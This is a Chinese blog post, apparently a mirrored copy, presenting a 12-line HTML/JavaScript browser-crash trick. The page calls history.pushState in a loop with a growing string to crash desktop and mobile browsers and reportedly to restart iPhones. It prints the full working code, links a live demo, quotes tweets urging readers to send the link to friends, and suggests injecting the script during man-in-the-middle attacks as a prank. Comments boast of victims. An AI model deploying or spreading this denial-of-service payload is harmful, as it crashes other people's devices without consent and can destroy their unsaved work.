zoukankan      html  css  js  c++  java
  • 能够让浏览器崩溃的12行代码

    起因

    今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

    Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit
    //使用以下这段JavaScript代码能让firefox,chrome。safari浏览器崩溃,并且还能让iphone重新启动。

    继续在推特上深挖发现IT Security Tweets ™ @F1r3h4nd 于17日发推:

    Crash your friend's browser and restart Iphone with a link which has this script: #0day

    //把带有以下这个脚本的链接发给你的朋友,能让你朋友的浏览器崩溃。并且让Iphone重新启动。

    完整HTML代码例如以下:

    1. <html> 
    2. <body> 
    3. <script> 
    4. var total="";  
    5. for (var i=0;i<1000000;i++)  
    6. {  
    7.     totaltotal= total+i.toString();  
    8.     history.pushState(0,0,total);  
    9. }  
    10. </script> 
    11. </body> 
    12. </html> 

    demo:(温馨提示:请保存浏览器其他窗体的编辑任务)

    www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

    接来下会发生什么?

    点开以后,我的状态是这种:

     

    假设你是PC端用户。点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

    假设你是移动端(安卓、iPhone)用户。点开链接以后你的浏览器会闪退!在微博、微信client点开链接相同会闪退。至于在推文中提到的让iPhone重新启动。这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重新启动了!…

    思考

    这是Bug还是0day?

    为什么会有这一现象?怎样实现的?

    有哪些比較有意思的利用姿势?

    (我先来个:当在运行MITM中间人攻击的时候,能够注入这一段js,来个恶搞整蛊。

    然后都懂的…)

    欢迎大家在评论中发表自己的观点:)

    微博评论/讨论摘取

    怀孕了...
    好有趣...
    好可怕...
    整蛊不错
    我已祸害了好多人(卖萌脸(づ ̄ 3 ̄)づ)
    崩溃了
    火狐假死10秒后弹窗提示脚本无响应可停止难道是history的栈溢出么?
    能够能够,新姿势get√
    JS是世界上最好的语言!

    hist.pushState是干嘛用的? 电脑正在重新启动 不能仅仅让我一个人中招 我为什么会手贱? Chrome隐身模式没有问题啊

  • 相关阅读:
    HDU 2196 Computer
    HDU 1520 Anniversary party
    POJ 1217 FOUR QUARTERS
    POJ 2184 Cow Exhibition
    HDU 2639 Bone Collector II
    POJ 3181 Dollar Dayz
    POJ 1787 Charlie's Change
    POJ 2063 Investment
    HDU 1114 Piggy-Bank
    Lca hdu 2874 Connections between cities
  • 原文地址:https://www.cnblogs.com/claireyuancy/p/7130297.html
Copyright © 2011-2022 走看看